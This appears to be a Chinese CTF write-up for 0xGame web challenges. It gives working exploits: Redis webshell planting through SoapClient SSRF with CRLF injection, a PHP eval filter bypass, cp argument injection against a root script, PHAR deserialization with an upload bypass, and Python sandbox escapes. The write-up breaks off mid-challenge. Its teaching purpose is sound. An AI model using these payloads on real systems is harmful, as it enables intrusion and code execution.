highlight_file(__FILE__);
error_reporting(0);
//hint: Redis20251206
class pure{
public $web;
public $misc;
public $crypto;
public $pwn;
public function __construct($web, $misc, $crypto, $pwn){
$this->web = $web;
$this->misc = $misc;
$this->crypto = $crypto;
$this->pwn = $pwn;
}
public function reverse(){
$this->pwn = new $this->web($this->misc, $this->crypto);
}
public function osint(){
$this->pwn->play_0xGame();
}
public function __destruct(){
$this->reverse();
$this->osint();
}
}
$AI = $_GET['ai'];
$ctf = unserialize($AI);
?>
依旧补充前置知识,顺便给出本题思路和流程:
- PHP 原生类
平时做 POP 链时一般利用题目自己写的类,比如:php class A {} class B {} class C {}
然后在这些类里面找:php __destruct() __wakeup() __toString() __call() __invoke()
这种魔术方法,拼出一条 POP 链。
但是 PHP 本身也自带很多类,这些类不是题目作者写的,而是 PHP 扩展或 PHP 内部提供的,所以一般叫 PHP 原生类 / PHP 内置类。比如:php SoapClient SplFileObject DirectoryIterator SimpleXMLElement Exception PDO ZipArchive Phar
本题的关键点不是在题目自定义类里面找复杂 POP 链,而是利用题目中的:php new $this->web($this->misc, $this->crypto);
让程序去实例化 PHP 原生类SoapClient。 - 动态实例化类
PHP 里可以用字符串作为类名来创建对象,例如:php $class = "SoapClient"; $obj = new $class(null, array( "location" => "http://127.0.0.1:6379/", "uri" => "test" ));
这就等价于:php $obj = new SoapClient(null, array( "location" => "http://127.0.0.1:6379/", "uri" => "test" ));
所以如果源码里出现:php new $this->web($this->misc, $this->crypto)
并且$this->web、$this->misc、$this->crypto都可以通过反序列化控制,那么就可以让它变成:php new SoapClient(null, array(...))
SoapClientSoapClient是 PHP 自带的 SOAP 客户端类,本来作用是请求 SOAP 服务。
可以简单理解成:SoapClient是 PHP 里一个能主动向外发 HTTP 请求的原生类。
它有两种使用方式:
第一种是 WSDL 模式,比如:php new SoapClient("http://example.com/service.wsdl");
WSDL 可以理解成 SOAP 服务的说明书,里面会告诉客户端:这个服务有哪些方法、参数是什么、请求地址在哪里。
第二种是 非 WSDL 模式,也就是本题用的方式:php new SoapClient(null, array( "location" => "http://127.0.0.1:6379/", "uri" => "test" ));
第一个参数传null,表示不用 WSDL 文件。
第二个参数是配置数组,其中比较关键的是"location"和"uri":location表示 SOAP 请求要发往哪里,比如:php "location" => "http://127.0.0.1:6379/"
意思就是让SoapClient把请求发到本机的6379端口,也就是 Redis 常见端口。uri表示 SOAP 服务的命名空间。可以简单理解成:给这个 SOAP 服务起一个唯一标识,避免不同 SOAP 服务之间名字冲突。
需要知道:uri会被拼进 SoapClient 发出的 HTTP 请求头里,所以如果这里可控,就可能配合 CRLF 注入伪造额外内容。SoapClient造成 SSRF
SSRF 的本质是:服务端帮我们去访问一个我们指定的地址。
本题中如果构造:php $this->web = "SoapClient"; $this->misc = null; $this->crypto = array( "location" => "http://127.0.0.1:6379/", "uri" => "test" );
那么执行:php $this->pwn = new $this->web($this->misc, $this->crypto);
就等价于:php $this->pwn = new SoapClient(null, array( "location" => "http://127.0.0.1:6379/", "uri" => "test" ));
这一步只是创建了SoapClient对象,还没有真正发请求。
真正发请求的位置在:php $this->pwn->play_0xGame();
因为$this->pwn此时是SoapClient对象,所以调用:php $this->pwn->play_0xGame();
会被SoapClient当成一次远程 SOAP 方法调用。
也就是说,虽然代码里看起来是在调用一个普通方法play_0xGame(),但实际上SoapClient会为了调用这个远程方法,主动向location指定的地址发送 HTTP 请求。
所以这题的 SSRF 触发逻辑就是:txt 反序列化控制属性 ↓ web = SoapClient ↓ new $this->web(...) 实例化 SoapClient ↓ 调用 $this->pwn->play_0xGame() ↓ SoapClient 向 location 发 HTTP 请求 ↓ 服务端访问 127.0.0.1:6379
- CRLF 注入
HTTP 请求头每一行都是用换行符分隔的,换行符一般是\r\n。
其中:txt \r 表示回车 \n 表示换行
如果某个本来应该只放普通字符串的位置,可以插入\r\n,就可以提前结束当前请求头,再伪造新的请求头或新的内容,这就叫 CRLF 注入。
在本题中,SoapClient发请求时会生成类似这样的 HTTP 请求:http POST / HTTP/1.1 Host: 127.0.0.1:6379 Content-Type: text/xml; charset=utf-8 SOAPAction: "test#play_0xGame" Content-Length: xxx
其中uri会影响SOAPAction相关内容。
如果把uri构造成带有\r\n的字符串,比如:txt "uri" => "hello\"\r\nRedis命令\r\nhello"
那么原本正常的一行 HTTP 头就可能被拆开,后面的内容就会被当成新的行发送出去,这样就可以把 Redis 命令塞进SoapClient发出的请求里。 - 打 Redis
题目提示里有:php //hint: Redis20251206
这个提示说明内网大概率有 Redis 服务,并且密码是20251206。
Redis 常见端口是6379,所以目标地址可以写成:php "location" => "http://127.0.0.1:6379/"
也就是让服务端自己访问本机 Redis。
Redis 支持用命令修改保存目录和保存文件名,比如:txt AUTH 20251206 CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SET x "<?php @eval($_POST[1]); ?>" SAVE
含义分别是:txt AUTH 20251206 先用密码登录 Redis。 CONFIG SET dir /var/www/html/ 把 Redis 持久化文件保存目录改到网站目录。 CONFIG SET dbfilename shell.php 把 Redis 持久化文件名改成 shell.php。 SET x "<?php @eval($_POST[1]); ?>" 往 Redis 里写入一句话木马内容。 SAVE 让 Redis 立刻把数据保存到磁盘。
如果执行成功,Redis 就会在网站目录下写出/var/www/html/shell.php,然后访问/shell.php,并用 POST 参数1传命令,就可以执行 PHP 代码。
总结,本题首先编写 exp:
<?php
class pure {
public $web = "SoapClient";
public $misc = null;
public $crypto;
public $pwn;
}
$a = new pure();
$cmd =
"AUTH 20251206\r\n" .
"CONFIG SET dir /var/www/html/\r\n" .
"CONFIG SET dbfilename shell.php\r\n" .
"SET x \"<?php @eval(\$_POST[1]); ?>\"\r\n" .
"SAVE\r\n";
$a->crypto = array(
"location" => "http://127.0.0.1:6379/",
"uri" => "hello\"\r\n" . $cmd . "\r\nhello"
);
echo urlencode(serialize($a));
注意编写脚本的时候小心 payload 中不要出现换行。
得到:
O%3A4%3A%22pure%22%3A4%3A%7Bs%3A3%3A%22web%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A4%3A%22misc%22%3BN%3Bs%3A6%3A%22crypto%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A136%3A%22hello%22%0D%0AAUTH+20251206%0D%0ACONFIG+SET+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0ACONFIG+SET+dbfilename+shell.php%0D%0ASET+x+%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%0D%0ASAVE%0D%0A%0D%0Ahello%22%3B%7Ds%3A3%3A%22pwn%22%3BN%3B%7D
传入后,访问 /shell.php,同时传入:
1=system('env');
得到 flag。
Plus_plus
查看源码,找到:
<!--?0xGame-->
传入 ?0xGame 得到源码:
oioioioioioioioi <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>你需要加加加</title>
</head>
<body>
oioioioioioioioi
</body>
<!--?0xGame-->
</html>
<?php
error_reporting(0);
if (isset($_GET['0xGame'])) {
highlight_file(__FILE__);
}
if (isset($_POST['web'])) {
$web = $_POST['web'];
if (strlen($web) <= 120) {
if (is_string($web)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\]/", $web)) {
eval($web);
} else {
echo("NONONO!");
}
} else {
echo "No String!";
}
} else {
echo "too long!";
}
}
?>
题目也是一直提示加加加的,是要用自增绕过,但是有长度限制,稍微短一点就行:
web=$C=H;$C++;$C++;$C++;$C++;$C++;$C++;$C++;$_=$C;$C++;$H=_.$C.$_;$C++;$C++;$C++;$H.=$C;$C++;$H.=$C;$$H[_]($$H[__]);
但是记得要 URL 编码,传入:
web=%24C%3DH%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24_%3D%24C%3B%24C%2B%2B%3B%24H%3D_.%24C.%24_%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24H.%3D%24C%3B%24C%2B%2B%3B%24H.%3D%24C%3B%24%24H%5B_%5D(%24%24H%5B__%5D)%3B&_=system&__=env
你好,爪洼脚本
打开 F12 复制粘贴到控制台里面,输出:
Hello, JavaScript
flag 就是 flag{Hello, JavaScript}。
放开我的变量
扫目录扫到 /robots.txt,访问找到新地址 /asdback.php,访问得到:
<?php
highlight_file(__FILE__);
echo("Please Input Your CMD");
$cmd = $_POST['__0xGame2025phpPsAux'];
eval($cmd);
?>
传入:
__0xGame2025phpPsAux=system('env');
然后拿到 flag,但这是非预期,假装一下不知道环境变量里面有 flag。
传入:
__0xGame2025phpPsAux=system('cat /flag');
没有回显,再传入:
__0xGame2025phpPsAux=system('ls / -la');
回显中发现 -rwx------ 1 root root 45 Oct 15 2025 flag,说明权限不够看不了 /flag,需要提权。
枚举 SUID 程序,传入:
__0xGame2025phpPsAux=system('find / -perm -4000');
返回结果没有找到可利用的二进制文件。
再列举一下当前机器上的进程清单,传入:
__0xGame2025phpPsAux=system('ps -aux');
或者传入少一点非必要信息的:
__0xGame2025phpPsAux=system('ps -eo pid,ppid,user,cmd');
返回:
PID PPID USER CMD 1 0 root apache2 -DFOREGROUND 7 1 root /bin/bash /start.sh 21 1 www-data apache2 -DFOREGROUND 23 1 www-data apache2 -DFOREGROUND 24 1 www-data apache2 -DFOREGROUND 25 1 www-data apache2 -DFOREGROUND 29 1 www-data apache2 -DFOREGROUND 30 1 www-data apache2 -DFOREGROUND 31 1 www-data apache2 -DFOREGROUND 233 1 www-data apache2 -DFOREGROUND 234 1 www-data apache2 -DFOREGROUND 235 1 www-data apache2 -DFOREGROUND 1074 7 root sleep 5 1075 21 www-data sh -c ps -eo pid,ppid,user,cmd 1076 1075 www-data ps -eo pid,ppid,user,cmd
其中重点看存在 root 权限的:
7 1 root /bin/bash /start.sh 1074 7 root sleep 5
说明容器启动后,有一个 root 权限的 /start.sh 脚本在运行,而且它现在卡在 sleep 5。
看看 /start.sh 到底在每 5 秒干什么:
__0xGame2025phpPsAux=system('cat /start.sh');
返回:
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s
done &
exec apache2-foreground
意思是:
cd /var/www/html/primary把工作目录切到 primary。while :; do ...; done无限循环执行下面三步。cp -P * /var/www/html/marstream/把 primary 里的所有文件拷贝到 marstream。-P 表示遇到软链接时按“链接本身”处理(不跟随目标)。chmod 755 -R /var/www/html/marstream/把 marstream 目录下所有文件/目录权限改成 755(可读可执行,属主可写)。sleep 5s每轮停 5 秒,再继续。
exec apache2-foreground前台启动 Apache(容器主进程)。
查看一下 /var/www/html/primary 和 /var/www/html/marstream/ 的权限:
__0xGame2025phpPsAux=system('ls -la');
返回结果中有:
drwxrwxrwx 1 root root 4096 May 8 15:23 primary drwxr-xr-x 1 root root 4096 May 8 15:23 marstream
说明任何用户都可以往 /var/www/html/primary 里面写文件。
这里关键点在:
cp -P * /var/www/html/marstream/
* 会被 shell 展开成当前目录下的所有文件名。如果在 primary 目录里创建一个名为 -L 的文件,那么 root 执行时,命令就会变成类似:
cp -P -L /var/www/html/marstream/
-P 的意思是不跟随软链接,只复制软链接本身;但是 -L 的意思是跟随软链接,复制软链接指向的真实文件内容。
因为 -L 出现在后面,会覆盖前面的 -P 效果。于是可以在 primary 目录下放一个指向 /flag 的软链接,让 root 脚本把 /flag 的内容复制到 marstream 里面。
比如传入:
__0xGame2025phpPsAux=system('touch /var/www/html/primary/-L;ln -s /flag /var/www/html/primary/flag111');
此时 /var/www/html/primary/ 里应该至少有 -L 和 flag111 两个文件,所以 /start.sh 里的:
cp -P * /var/www/html/marstream/
会展开成:
cp -P -L flag111 /var/www/html/marstream/
其中:
-L 被 cp 当成参数 flag111 被 cp 当成源文件 /var/www/html/marstream/ 是目标目录
所以现在软链接文件 /var/www/html/marstream/flag111 指向的 /flag 被有 root 权限的 /start.sh 复制到了 /var/www/html/marstream/flag111。
访问 /marstream/flag111 拿到 flag。
文件查询器(蓝)
先提一个小小的非预期,直接在查询文件的框里输入:
../../../../proc/self/environ
就能拿到环境变量,base64 解码后 flag 就在里面。咳咳,假装不知道这个。
根据上面的非预期也能看出来,这个查询文件是可以返回目标文件的 base64 编码结果的,因此可以利用这点查看源码,传入:
./index.php
base64 解码得到:
<?php
error_reporting(0);
class MaHaYu{
public $HG2;
public $ToT;
public $FM2tM;
public function __construct()
{
$this -> ZombiegalKawaii();
}
public function ZombiegalKawaii()
{
$HG2 = $this -> HG2;
if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2))
{
die("这这这你也该绕过去了吧");
}
else{
$this -> ToT = "这其实是来占位的";
}
}
public function __destruct()
{
$HG2 = $this -> HG2;
$FM2tM = $this -> FM2tM;
echo "Wow";
var_dump($HG2($FM2tM));
}
}
$file=$_POST['file'];
if(isset($_POST['file']))
{
if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file))
{
die("对方撤回了一个请求,并企图萌混过关");
}
echo base64_encode(file_get_contents($file));
}
首先找源码中的关键代码,即可以实现 RCE 的地方:
var_dump($HG2($FM2tM));
这里就是关键,如果能控制:
$HG2 = "system"; $FM2tM = "env";
最后就是:
var_dump(system("env"));
所以现在要想办法造一个 MaHaYu 对象,并控制它的属性。
但是源码里没有直接出现:
unserialize($_POST['xxx'])
或者:
new MaHaYu($_POST...)
这样的入口,即普通反序列化入口不存在。
源码里真正可控的是:
$file = $_POST['file']; echo base64_encode(file_get_contents($file));
也就是用户只能控制 file_get_contents($file) 读取什么路径。
这里的关键在于 file_get_contents() 不只是能读普通文件,它还能走 PHP 的伪协议,比如:
php://filter file:// data:// php://input phar://
php://filter 和 file:// 分别被关键词 filter 和 file 拦截,data:// 和 php://input 在 file_get_contents() 中只能被读取构造的数据,不会把内容当 PHP 执行。
且本题也存在 __destruct() 作为反序列化起点,所以本题可以用 phar:// 让文件读取函数触发 PHAR 反序列化。
补充点前置知识:
- PHAR
PHAR 全称是 PHP Archive,可以理解成 PHP 里的压缩包格式,类似 Java 里的 jar 包。
一个 PHAR 文件里面可以放很多文件,同时它还有一个特殊位置叫 metadata,也就是元数据,这个 metadata 可以保存任意 PHP 变量。
比如可以这样把一个对象塞进 PHAR 的 metadata 里:php $phar->setMetadata($obj);
关键在于,对象放进 metadata 时,本质上会被序列化保存,即 PHAR 文件里可以藏一段序列化对象。 phar://触发反序列化
正常反序列化是:php unserialize($data);
但是 PHAR 反序列化不一样,它的利用点是:php file_get_contents("phar://xxx")
当 PHP 用phar://访问一个 PHAR 文件时,会尝试把这个文件当成 PHAR 归档解析。
在 旧版本 PHP(PHP 8.0 以前的版本) 中,解析 PHAR 时会读取并反序列化 metadata,所以即使源码里没有unserialize(),也可能间接触发对象反序列化。
所以本题的触发逻辑是:txt 用户控制 file 参数 ↓ file_get_contents($file) ↓ 传入 phar://xxx ↓ PHP 按 PHAR 格式解析文件 ↓ 读取 PHAR metadata ↓ metadata 里的对象被反序列化 ↓ 对象销毁时触发 __destruct()
回到题目源码:
- 分析正则限制:
根据源码,反序列化的终点在MaHaYu::__destruct()中,核心执行代码为:php var_dump($HG2($FM2tM));
需要将$HG2赋值为命令执行函数(如system),将$FM2tM赋值为系统命令(如env)。
在这之前有:php public function __construct() { $this -> ZombiegalKawaii(); } public function ZombiegalKawaii() { $HG2 = $this -> HG2; if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|e { die("这这这你也该绕过去了吧"); } else{ $this -> ToT = "这其实是来占位的"; } }
这一串表示MaHaYu类的__construct()内部调用了ZombiegalKawaii(),对$HG2进行了严格的正则黑名单校验。
但是反序列化过程中并不会触发类的__construct()魔术方法,这串当没有都可以。 - 编写 PHAR 生成脚本 exp.php:
php <?php class MaHaYu{ public $HG2; public $ToT; public $FM2tM; } $file = new Phar("shell.phar"); $file->startBuffering(); $file->setStub("<?php __HALT_COMPILER();?>"); $file->addFromString("a", "aaa"); $a = new MaHaYu(); $a->HG2 = "system"; $a->FM2tM = "env"; $file->setMetadata($a); $file->stopBuffering();
分析一下该 exp 的各部分:- 定义同名类
php class MaHaYu{ public $HG2; public $ToT; public $FM2tM; }
这里要和目标源码里的类名、属性名保持一致。 - 创建 PHAR 文件对象
php $file = new Phar("shell.phar");
这句表示创建一个名为 shell.phar 的 PHAR 文件。 - 开始缓存写入
php $file->startBuffering();
表示开始构造 PHAR 文件内容。
后面的 stub、内部文件、metadata 都先写进去,最后通过:php $file->stopBuffering();
统一保存。 - 设置 PHAR 的 stub
php $file->setStub("<?php __HALT_COMPILER();?>");
stub 可以理解成 PHAR 文件开头必须有的一段 PHP 代码。__HALT_COMPILER();的作用就是告诉 PHP:txt PHP 代码到这里结束,后面是 PHAR 归档数据
- 往 PHAR 里添加一个普通文件
php $file->addFromString("a", "aaa");
这句是在 PHAR 里面放一个文件 a,内容是aaa,便于后面触发时访问。 - 创建恶意对象
php $a = new MaHaYu(); $a->HG2 = "system"; $a->FM2tM = "env";
这样设置最后目标服务器触发时就会变成:php var_dump(system("env")); - 把对象放进 metadata
php $file->setMetadata($a);
这句是 PHAR 反序列化的核心,它会把$a这个MaHaYu对象放进 PHAR 的 metadata 里。
后面通过phar://协议实现 PHP 解析 PHAR 时,就会触发 metadata 反序列化,从而还原出这个MaHaYu对象。 - 写入完成
php $file->stopBuffering();
表示 PHAR 文件构造完成,真正生成shell.phar。
在终端运行:bash php -d phar.readonly=0 exp.php
得到 shell.phar。 - 定义同名类
- 上传 shell.phar:
上传刚刚得到的 shell.phar 后跳转到/upload.php并返回:txt 请重新尝试喵
说明 upload.php 也存在限制,回到首页的查询文件,输入:txt ./upload.php
base64 解码得到:php <?php error_reporting(0); $White_List = array("jpg", "png", "pdf"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $White_List))) { $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer") { die("你猜我想让你干什么喵"); } else { if (file_exists("./upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " Already exists. "; } else { $file = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($file, $content); fclose($file); echo "Success ./upload/".$_FILES["file"]["name"]; } } } else { echo "请重新尝试喵"; } ?>strpos($content, "__HALT_COMPILER();")在
$content这段文件内容里查找是否出现了__HALT_COMPILER();,找到就返回位置,找不到就返回false。gettype($pos)==="integer"gettype($pos)可以查看$pos这个变量是什么数据类型,integer就是整数类型。如果
$pos是整数,说明strpos()找到了目标字符串。
意思就是:txt 只允许上传 jpg / png / pdf 后缀 并且上传内容里不能出现 __HALT_COMPILER(); 如果通过检查,就保存到 ./upload/文件名
第一个限制只检查文件名后缀,没有检查真实文件类型,所以可以把shell.phar改名成shell.jpg上传。
第二个限制是在文件内容里查找:php __HALT_COMPILER();
可以通过 gzip 压缩后更改后缀为 jpg 上传绕过,即运行:bash gzip -c shell.phar > shell.jpg
然后上传 shell.jpg。
最后回到首页的查询文件,输入:txt phar://./upload/shell.jpg/a
得到 flag。
消栈逃出沙箱(1)反正不会有2
from flask import Flask, request, Response
import sys
import io
app = Flask(__name__)
blackchar = "&*^%#${}@!~`·/<>"
def safe_sandbox_Exec(code):
whitelist = {
"print": print,
"list": list,
"len": len,
"Exception": Exception
}
safe_globals = {
"__builtins__": whitelist
}
original_stdout = sys.stdout
original_stderr = sys.stderr
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()
try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
return output or error or "No output"
except Exception as e:
return f"Error: {e}"
finally:
sys.stdout = original_stdout
sys.stderr = original_stderr
@app.route('/')
def index():
return open(__file__).read()
@app.route('/check', methods=['POST'])
def check():
data = request.form['data']
if not data:
return Response("NO data", status=400)
for d in blackchar:
if d in data: return Response("NONONO", status=400)
secret = safe_sandbox_Exec(data)
return Response(secret, status=200)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=9000)
首页直接放出源码,先补充点前置知识:
- 沙箱逃逸
沙箱
程序允许用户执行代码,但是只给一个被限制过的运行环境。
Python 里直接执行用户输入会很危险:python exec("恶意代码")
比如用户传:python import os os.system("cat /flag")
服务器就会执行系统命令。
所以这个题目写了一个“沙箱”:python whitelist = { "print": print, "list": list, "len": len, "Exception": Exception, } safe_globals = { "__builtins__": whitelist } try: exec(code, safe_globals)
意思是:执行用户代码时,只给用户留下几个内置函数,即在这个沙箱里,理论上只能用:python print() list() len() Exception
不能直接用:python import os open('/flag') eval() exec()
等等危险函数和模块。
但是 Python 里面函数、类、模块本身也是对象,对象可以继续往外找属性。
比如题目虽然只给了print,但print不是一个普通字符串,它是 Python 内置函数对象。
在 Python 里:python print.__self__
可以拿到builtins模块,而builtins模块里面就有完整的内置函数,比如:python __import__ open eval exec
所以沙箱虽然表面只给了print,但实际上通过print.__self__又能绕回完整的builtins,这就是逃逸点。 - 栈帧
在 Python 里,每执行一层函数 / 代码,解释器都会创建一个 frame 对象,这个 frame 对象就叫栈帧。
可以简单理解成:栈帧 = 当前这一层代码运行时的现场记录。
比如有这样一段代码:python def a(): x = 1 b() def b(): y = 2 print("hello") a()
执行流程是:txt 先执行最外层脚本 ↓ 调用 a(),进入 a() 这一层 ↓ a() 里面又调用 b(),进入 b() 这一层
所以运行时大概会有这样的层级:txt b() 的栈帧 a() 的栈帧 最外层脚本的栈帧
越上面代表越新,越下面代表越早,即函数调用得越深,栈帧就越多。
例如本题,用户访问/check之后,大概是:txt Flask 框架处理请求 ↓ 进入 check() 路由函数 ↓ 调用 safe_sandbox_exec(data) ↓ safe_sandbox_exec() 里面执行 exec(code, safe_globals) ↓ 用户传入的 code 被执行
可以理解成:txt 用户代码这一层 safe_sandbox_exec() 这一层 check() 路由函数这一层 Flask 外层调用这一层
所谓“栈帧逃逸”,就是从用户代码这一层,往上翻到外面的 Python 代码层。 - frame
一个 frame 对象里面保存了当前代码这一层的很多信息,比较关键的是这些:python f_locals 当前这一层的局部变量 f_globals 当前这一层的全局变量 f_builtins 当前这一层能用的内置函数 f_back 上一层栈帧 f_code 当前正在执行的代码对象
其中最关键的是f_back,它表示“上一层栈帧”。
比如当前在用户代码这一层,那么frame.f_back就可能回到调用它的上一层,也就是safe_sandbox_exec()那一层。
如果继续frame.f_back.f_back就可能继续回到check()路由函数那一层。
所以f_back可以理解成顺着调用链往外爬,这也是“栈帧逃逸”的核心。
现在回到源码,进行常规的代码审计:
- 先找路由
源码里有两个路由:python @app.route('/') def index(): return open(__file__).read()
这个路由是/,访问主页时会直接返回当前源码。python @app.route('/check', methods=['POST']) def check(): data = request.form['data'] if not data: return Response("NO data", status=400) for d in blackchar: if d in data: return Response("NONONO", status=400) secret = safe_sandbox_Exec(data) return Response(secret, status=200)
这个路由是/check,并且只接受POST请求,这里是核心路由。
执行流程是:- 从 POST 表单里取
data - 判断
data是否为空 - 检查
data里有没有黑名单字符:python blackchar = "&*^%#${}@!~`·/<>" - 如果前面都通过,就把
data传给safe_sandbox_Exec(data) - 最后返回执行结果。
所以本题的入口是:http POST /check data=可控 Python 代码
- 从 POST 表单里取
- 定位
safe_sandbox_Exec()python def safe_sandbox_Exec(code): whitelist = { "print": print, "list": list, "len": len, "Exception": Exception } safe_globals = { "__builtins__": whitelist } original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e}" finally: sys.stdout = original_stdout sys.stderr = original_stderr
分析safe_sandbox_Exec()这个函数的源码,主要看白名单,这里构造了一个受限的执行环境:python whitelist = { "print": print, "list": list, "len": len, "Exception": Exception } safe_globals = { "__builtins__": whitelist }
也就是说,用户传入的代码虽然会被exec()执行:python exec(code, safe_globals)
但是能用的内置函数只有:txt print、list、len、Exception
不能直接使用open、eval、__import__等危险函数。 - 构造 payload
- 从白名单对象找突破口
白名单里保留了print,而print本身有一个属性__self__,且对于print来说:python print.__self__
指向的是builtins模块,即可以从白名单里的print反向拿到真正的内置模块builtins。
继续构造:python print.__self__.__import__('os').popen('env').read()
所以访问/check并 POST 传入:http data=print(print.__self__.__import__('os').popen('env').read()) - 栈帧逃逸
白名单里面除了print,还有:python "Exception": Exception
这说明本题可以在沙箱里使用异常类。
先主动抛出一个异常:python try: raise Exception() except Exception as e: print(e.__traceback__)
这里的:python raise Exception()
表示主动抛出一个异常。
然后:python except Exception as e:
会把异常对象保存到变量e里面。
异常对象里有一个重要属性:python e.__traceback__
__traceback__保存的是异常发生时的调用链。
继续访问:python e.__traceback__.tb_frame
可以拿到异常发生时所在的栈帧。
继续用.f_back回到上一层栈帧:python e.__traceback__.tb_frame.f_back
这里上一层就是外面的safe_sandbox_exec(code),即通过f_back从沙箱代码的栈帧,回到了safe_sandbox_exec()函数的栈帧。
拿到外层栈帧后,再访问:python e.__traceback__.tb_frame.f_back.f_globals
f_globals表示这一层函数所在文件的全局变量,所以这里拿到的就是题目源码文件真正的全局命名空间。
继续构造:python e.__traceback__.tb_frame.f_back.f_globals["__builtins__"].__import__("os").popen("env").read()
所以访问/check并 POST 传入:python try: raise Exception() except Exception as e: print(e.__traceback__.tb_frame.f_back.f_globals["__builtins__"].__import__("os").popen("env").read())
但是 Python 对换行和缩进很敏感,这里直接用 hackbar 传入会导致服务端实际拿到的内容变成一行,即 payload 的换行和缩进被破坏,所以需要传入 URL 编码结果:http data=try%3A%0A%20%20%20%20raise%20Exception%28%29%0Aexcept%20Exception%20as%20e%3A%0A%09print%28e.__traceback__.tb_frame.f_back.f_globals%5B%22__builtins__%22%5D.__import__%28%22os%22%29.popen%28%22env%22%29.read%28%29%29
- Typhon 一把梭
Typhon 是一个 pyjail / Python 沙箱绕过工具。官方说明它支持bypassRCE()做命令执行、bypassRead()做文件读取等功能,并且可以把黑名单、正则、长度限制、执行命名空间传进去。python def run(): blackchar = "&*^%#${}@!~`·/<>" whitelist = { "print": print, "list": list, "len": len, "Exception": Exception, } safe_globals = { "__builtins__": whitelist } import Typhon Typhon.bypassRCE( "env", banned_chr=list(blackchar), local_scope=safe_globals, max_length=160, interactive=False, print_all_payload=True, log_level='INFO' ) run()
这里几个参数的意思是:txt "env":希望最终执行的命令。 banned_chr:题目过滤的字符。 local_scope:题目 exec 使用的受限命名空间。 max_length:payload 的最大长度。 interactive=False:不要生成依赖交互输入的 payload。 print_all_payload=True:把找到的 payload 都打印出来。
运行后得到很多 payload:
比如用:python ().__class__.__mro__[1].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').popen('env').read()
只需加上print()打印出来即可,所以访问/check并 POST 传入:http data=print(().__class__.__mro__[1].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').popen('env').read())
- 从白名单对象找突破口
New_Python!
先随便注册个账户 test/111 登录进去,下载提示:
guess.py:
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert
import random
import uuid
# 通过RSA得到UUID8的a
# 再通过其他方式获取到b和c
# 利用UUID8生成Admin密码
msg= b''
BITS = 1024
e = 65537
p = getPrime(BITS//2)
q = getPrime(BITS//2)
n = p * q
phi = (p - 1) * (q - 1)
d = int(invert(e, phi))
key = bytes_to_long(msg)
c = pow(key, e, n)
dp = d % (p - 1)
#print("n = ", n)
#print("e = ", e)
#print("c = ", c)
#print("dp = ", dp)
key = "" #{}内的
key = key.encode()
key = int.from_bytes(key, 'big')
pa = uuid.uuid8(a=key)
#n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
#e = 65537
#c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
#dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523
不会做,问 AI 要了个脚本:
n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
e = 65537
c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523
x = e * dp - 1
p = next(x // k + 1 for k in range(1, e) if x % k == 0 and n % (x // k + 1) == 0)
q = n // p
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
s = m.to_bytes((m.bit_length() + 7) // 8, "big")
# 如果解出来是 key{xxx},就只取 {} 里面作为 uuid8 的 a
if s.startswith(b"key{") and s.endswith(b"}"):
m = int.from_bytes(s[4:-1], "big")
print(m)
得到 a 的值为:
183915192278352122275137263475187826728085592578452428749304943
然后在响应头里面找到:
X-Frame-Options: b = 120604030108
还有扫目录扫到 /auth,访问得到:
{"c":"7430469441","token":"Token is Useless, But You Can Catch This Page!"}
